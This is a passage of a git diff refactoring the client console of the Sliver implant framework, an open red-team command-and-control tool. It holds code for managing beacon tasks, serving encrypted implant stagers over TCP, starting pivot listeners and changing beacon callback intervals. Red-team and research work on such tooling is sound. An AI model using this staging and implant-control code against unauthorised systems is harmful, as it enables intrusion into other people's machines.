+ "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + tasksCmd := &cobra.Command{ + Use: consts.TasksStr, + Short: "Beacon task management", + Long: help.GetHelpFor([]string{consts.TasksStr}), + Run: func(cmd *cobra.Command, args []string) { + TasksCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("tasks", true, tasksCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") + }) + + fetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch the details of a beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksFetchCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(fetchCmd) + carapace.Gen(fetchCmd).PositionalCompletion(BeaconTaskIDCompleter(con).Usage("beacon task ID")) + + cancelCmd := &cobra.Command{ + Use: consts.CancelStr, + Short: "Cancel a pending beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksCancelCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(cancelCmd) + carapace.Gen(cancelCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) + + return []*cobra.Command{tasksCmd} +} diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index 61a11deb67..8ba50985cb 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -47,15 +47,15 @@ import ( "github.com/bishopfox/sliver/util" ) -// TasksFetchCmd - Manage beacon tasks -func TasksFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksFetchCmd - Manage beacon tasks. +func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := beaconTasks.Tasks @@ -98,7 +98,7 @@ func TasksFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: task.ID}) if err != nil { - con.PrintErrorf("Failed to fetch task content: %s\n", err) + con.PrintErrorf("Failed to fetch task content: %s\n", con.UnwrapServerErr(err)) return } PrintTask(task, con) @@ -124,8 +124,8 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli return filteredTasks } -// PrintTask - Print the details of a beacon task -func PrintTask(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +// PrintTask - Print the details of a beacon task. +func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID}) @@ -171,8 +171,8 @@ func emojiState(state string) string { } } -// Decode and render message specific content -func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +// Decode and render message specific content. +func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { reqEnvelope := &sliverpb.Envelope{} proto.Unmarshal(task.Request, reqEnvelope) switch reqEnvelope.Type { @@ -508,7 +508,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con) @@ -525,7 +525,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintGetPrivs(privs, beacon.PID, con) @@ -592,7 +592,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to fetch beacon: %s\n", err) + con.PrintErrorf("Failed to fetch beacon: %s\n", con.UnwrapServerErr(err)) return } privilege.PrintRunAs(runAs, runAsReq.ProcessName, runAsReq.Args, beacon.Name, con) @@ -618,7 +618,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID}) if err != nil { - con.PrintErrorf("Failed to get beacon: %s\n", err) + con.PrintErrorf("Failed to get beacon: %s\n", con.UnwrapServerErr(err)) return } @@ -743,7 +743,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } } -func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsoleClient) { +func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient) { const ( dump = "Dump Contents" saveTo = "Save to File ..." @@ -766,7 +766,7 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsol } } -func promptSaveToFile(data []byte, con *console.SliverConsoleClient) { +func promptSaveToFile(data []byte, con *console.SliverClient) { saveTo := "" saveToPrompt := &survey.Input{Message: "Save to: "} err := survey.AskOne(saveToPrompt, &saveTo) diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 2b24a80084..20fe336d4e 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -16,7 +16,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// SelectBeaconTask - Select a beacon task interactively +// SelectBeaconTask - Select a beacon task interactively. func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error) { // Render selection table buf := bytes.NewBufferString("") @@ -50,8 +50,12 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error } // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. -func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") @@ -59,7 +63,7 @@ func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } completed := make([]string, 0) @@ -114,9 +118,13 @@ func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } -// BeaconPendingTasksCompleter completes pending tasks -func BeaconPendingTasksCompleter(con *console.SliverConsoleClient) carapace.Action { +// BeaconPendingTasksCompleter completes pending tasks. +func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + beacon := con.ActiveTarget.GetBeacon() if beacon == nil { return carapace.ActionMessage("no active beacon") @@ -124,7 +132,7 @@ func BeaconPendingTasksCompleter(con *console.SliverConsoleClient) carapace.Acti beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - return carapace.ActionMessage("Failed to fetch tasks: %s", err.Error()) + return carapace.ActionMessage("Failed to fetch tasks: %s", con.UnwrapServerErr(err)) } pending := make([]string, 0) diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index 3294af5977..ef8610255b 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -9,8 +9,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// TasksCancelCmd - Cancel a beacon task before it's sent to the implant -func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksCancelCmd - Cancel a beacon task before it's sent to the implant. +func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -25,7 +25,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if idArg == "" { beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } tasks := []*clientpb.BeaconTask{} @@ -48,7 +48,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } else { task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } } @@ -56,7 +56,7 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ if task != nil { task, err := con.Rpc.CancelBeaconTask(context.Background(), task) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Task %s canceled\n", task.ID) diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 2f087096ca..5d0e793c36 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -32,28 +32,29 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// TasksCmd - Manage beacon tasks -func TasksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TasksCmd - Manage beacon tasks. +func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return } beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintBeaconTasks(beaconTasks.Tasks, cmd, con) } -// PrintBeaconTasks - Print beacon tasks -func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintBeaconTasks - Print beacon tasks. +func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "State", - "Message Type", + "Command Line", "Created", "Sent", "Completed", diff --git a/client/command/tcp/commands.go b/client/command/tcp/commands.go new file mode 100644 index 0000000000..1ef2191a02 --- /dev/null +++ b/client/command/tcp/commands.go @@ -0,0 +1,99 @@ +package tcp + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `tcp` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + tcpCmd := &cobra.Command{ + Use: consts.TCPListenerStr, + Short: "TCP handlers management", + GroupID: consts.NetworkHelpGroup, + } + + // Staging listeners + stageCmd := &cobra.Command{ + Use: consts.ServeStr, + Short: "Start a stager listener", + Long: help.GetHelpFor([]string{consts.StageListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + ServeStageCmd(cmd, con, args) + }, + } + tcpCmd.AddCommand(stageCmd) + + flags.Bind("stage listener", false, stageCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "implant profile name to link with the listener") + f.StringP("url", "u", "", "URL to which the stager will call back to") + f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") + f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(stageCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") + }) + + return []*cobra.Command{tcpCmd} +} + +// Commands returns the `tcp` command and its subcommands for the implant menu. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + tcpCmd := &cobra.Command{ + Use: consts.TCPListenerStr, + Short: "TCP handlers management", + } + + tcpListenerCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start a TCP pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ListenPivotCmd(cmd, con, args) + }, + } + tcpCmd.AddCommand(tcpListenerCmd) + + flags.Bind("", false, tcpListenerCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "remote interface to bind pivot listener") + f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") + }) + + return []*cobra.Command{tcpCmd} +} diff --git a/client/command/pivots/start.go b/client/command/tcp/listen.go similarity index 56% rename from client/command/pivots/start.go rename to client/command/tcp/listen.go index 34658b9eea..e756dfe795 100644 --- a/client/command/pivots/start.go +++ b/client/command/tcp/listen.go @@ -1,4 +1,4 @@ -package pivots +package tcp /* Sliver Implant Framework @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartTCPListenerCmd - Start a TCP pivot listener on the remote system -func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListenPivotCmd - Start a TCP pivot listener on the remote system. +func ListenPivotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -42,7 +42,7 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if listener.Response != nil && listener.Response.Err != "" { @@ -51,31 +51,3 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID) } - -// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system -func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - session := con.ActiveTarget.GetSessionInteractive() - if session == nil { - return - } - allowAll, _ := cmd.Flags().GetBool("allow-all") - bind, _ := cmd.Flags().GetString("bind") - - var options []bool - options = append(options, allowAll) - listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ - Type: sliverpb.PivotType_NamedPipe, - BindAddress: bind, - Request: con.ActiveTarget.Request(cmd), - Options: options, - }) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - if listener.Response != nil && listener.Response.Err != "" { - con.PrintErrorf("%s\n", listener.Response.Err) - return - } - con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) -} diff --git a/client/command/tcp/serve.go b/client/command/tcp/serve.go new file mode 100644 index 0000000000..d26ce670bc --- /dev/null +++ b/client/command/tcp/serve.go @@ -0,0 +1,193 @@ +package tcp + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "compress/zlib" + "context" + "encoding/binary" + "net/url" + "strconv" + "strings" + + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/util" + "github.com/bishopfox/sliver/util/encoders" +) + +// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name. +func ServeStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + profileName, _ := cmd.Flags().GetString("profile") + listenerURL, _ := cmd.Flags().GetString("url") + aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") + aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv") + rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key") + compressF, _ := cmd.Flags().GetString("compress") + compress := strings.ToLower(compressF) + + if profileName == "" || listenerURL == "" { + con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n") + return + } + + // parse listener url + stagingURL, err := url.Parse(listenerURL) + if err != nil { + con.PrintErrorf("Listener-url format not supported") + return + } + stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32) + if err != nil { + con.PrintErrorf("error parsing staging port: %v\n", err) + return + } + + profile := generate.GetImplantProfileByName(profileName, con) + if profile == nil { + con.PrintErrorf("Profile not found\n") + return + } + + if rc4EncryptKey != "" && aesEncryptKey != "" { + con.PrintErrorf("Cannot use both RC4 and AES encryption\n") + return + } + + rc4Encrypt := false + if rc4EncryptKey != "" { + // RC4 keysize can be between 1 to 256 bytes + if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 { + con.PrintErrorf("Incorrect length of RC4 Key\n") + return + } + rc4Encrypt = true + } + + aesEncrypt := false + if aesEncryptKey != "" { + // check if aes encryption key is correct length + if len(aesEncryptKey)%16 != 0 { + con.PrintErrorf("Incorrect length of AES Key\n") + return + } + + // set default aes iv + if aesEncryptIv == "" { + aesEncryptIv = "0000000000000000" + } + + // check if aes iv is correct length + if len(aesEncryptIv)%16 != 0 { + con.PrintErrorf("Incorrect length of AES IV\n") + return + } + + aesEncrypt = true + } + + stage2, err := generate.GetSliverBinary(profile, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + switch compress { + case "zlib": + // use zlib to compress the stage2 + var compBuff bytes.Buffer + zlibWriter := zlib.NewWriter(&compBuff) + zlibWriter.Write(stage2) + zlibWriter.Close() + stage2 = compBuff.Bytes() + case "gzip": + stage2, _ = encoders.GzipBuf(stage2) + case "deflate9": + fallthrough + case "deflate": + stage2 = util.DeflateBuf(stage2) + } + + if aesEncrypt { + // PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude + // but it's also useful here as more advanced cipher modes are often difficult to implement in + // a stager. + stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv)) + } + + if rc4Encrypt { + stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey)) + } + + // Always prepend payload size for TCP stagers + stage2 = prependPayloadSize(stage2) + ctrl := make(chan bool) + con.SpinUntil("Starting TCP staging listener...", ctrl) + stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{ + Protocol: clientpb.StageProtocol_TCP, + Data: stage2, + Host: stagingURL.Hostname(), + Port: uint32(stagingPort), + }) + ctrl <- true + <-ctrl + if err != nil { + con.PrintErrorf("Error starting TCP staging listener: %v\n", con.UnwrapServerErr(err)) + return + } + con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID()) + + if aesEncrypt { + con.PrintInfof("AES KEY: %v\n", aesEncryptKey) + con.PrintInfof("AES IV: %v\n", aesEncryptIv) + } + + if rc4Encrypt { + con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey) + } +} + +func prependPayloadSize(payload []byte) []byte { + payloadSize := uint32(len(payload)) + lenBuf := make([]byte, 4) + binary.LittleEndian.PutUint32(lenBuf, payloadSize) + return append(lenBuf, payload...) +} diff --git a/client/command/transports/commands.go b/client/command/transports/commands.go new file mode 100644 index 0000000000..caf59fc28b --- /dev/null +++ b/client/command/transports/commands.go @@ -0,0 +1,108 @@ +package transports + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `transports` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + transportsCmd := &cobra.Command{ + Use: consts.TranportsStr, + Short: "Generic transport preparation & management", + GroupID: consts.NetworkHelpGroup, + } + + // Traffic encoders + trafficEncodersCmd := &cobra.Command{ + Use: consts.TrafficEncodersStr, + Short: "Manage implant traffic encoders", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersCmd(cmd, con, args) + }, + } + transportsCmd.AddCommand(trafficEncodersCmd) + + trafficEncodersAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a new traffic encoder to the server from the local file system", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") + }) + carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) + trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) + + trafficEncodersRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a traffic encoder from the server", + Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TrafficEncodersRemoveCmd(cmd, con, args) + }, + } + carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) + trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) + + return []*cobra.Command{transportsCmd} +} + +// Commands returns the `transports` command and its subcommands in the implant tree. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + transportsCmd := &cobra.Command{ + Use: consts.TranportsStr, + Short: "Generic transport preparation & management", + GroupID: consts.NetworkHelpGroup, + } + + // Reconfig + reconfigCmd := &cobra.Command{ + Use: consts.ReconfigStr, + Short: "Reconfigure the active beacon/session", + Long: help.GetHelpFor([]string{consts.ReconfigStr}), + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ReconfigCmd(cmd, con, args) + }, + } + flags.Bind("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { + f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") + f.StringP("beacon-interval", "i", "", "beacon callback interval") + f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + transportsCmd.AddCommand(reconfigCmd) + + return []*cobra.Command{transportsCmd} +} diff --git a/client/command/reconfig/reconfig.go b/client/command/transports/reconfig.go similarity index 89% rename from client/command/reconfig/reconfig.go rename to client/command/transports/reconfig.go index 2800d345f4..2937c02bb6 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/transports/reconfig.go @@ -1,4 +1,4 @@ -package reconfig +package transports /* Sliver Implant Framework @@ -22,17 +22,16 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ReconfigCmd - Reconfigure metadata about a sessions -func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReconfigCmd - Reconfigure metadata about a sessions. +func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -82,11 +81,11 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } if reconfig.Response != nil && reconfig.Response.Async { - con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(reconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, reconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -94,7 +93,6 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } con.PrintInfof("Reconfigured beacon\n") }) - con.PrintAsyncResponse(reconfig.Response) } else { con.PrintInfof("Reconfiguration complete\n") } diff --git a/client/command/generate/traffic-encoders.go b/client/command/transports/traffic-encoders.go similarity index 74% rename from client/command/generate/traffic-encoders.go rename to client/command/transports/traffic-encoders.go index 539d4dd3c0..18f6704202 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/transports/traffic-encoders.go @@ -1,4 +1,4 @@ -package generate +package transports /* Sliver Implant Framework @@ -29,11 +29,13 @@ import ( "github.com/AlecAivazis/survey/v2" "github.com/gofrs/uuid" "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" "github.com/spf13/cobra" "golang.org/x/text/cases" "golang.org/x/text/language" "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" @@ -42,22 +44,23 @@ import ( "github.com/bishopfox/sliver/util" ) -// TrafficEncodersCmd - Generate traffic encoders command implementation -func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TrafficEncodersCmd - Generate traffic encoders command implementation. +func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() encoderMap, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } DisplayTrafficEncoders(encoderMap, con) } -// DisplayTrafficEncoders - Display traffic encoders map from server -func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverConsoleClient) { +// DisplayTrafficEncoders - Display traffic encoders map from server. +func 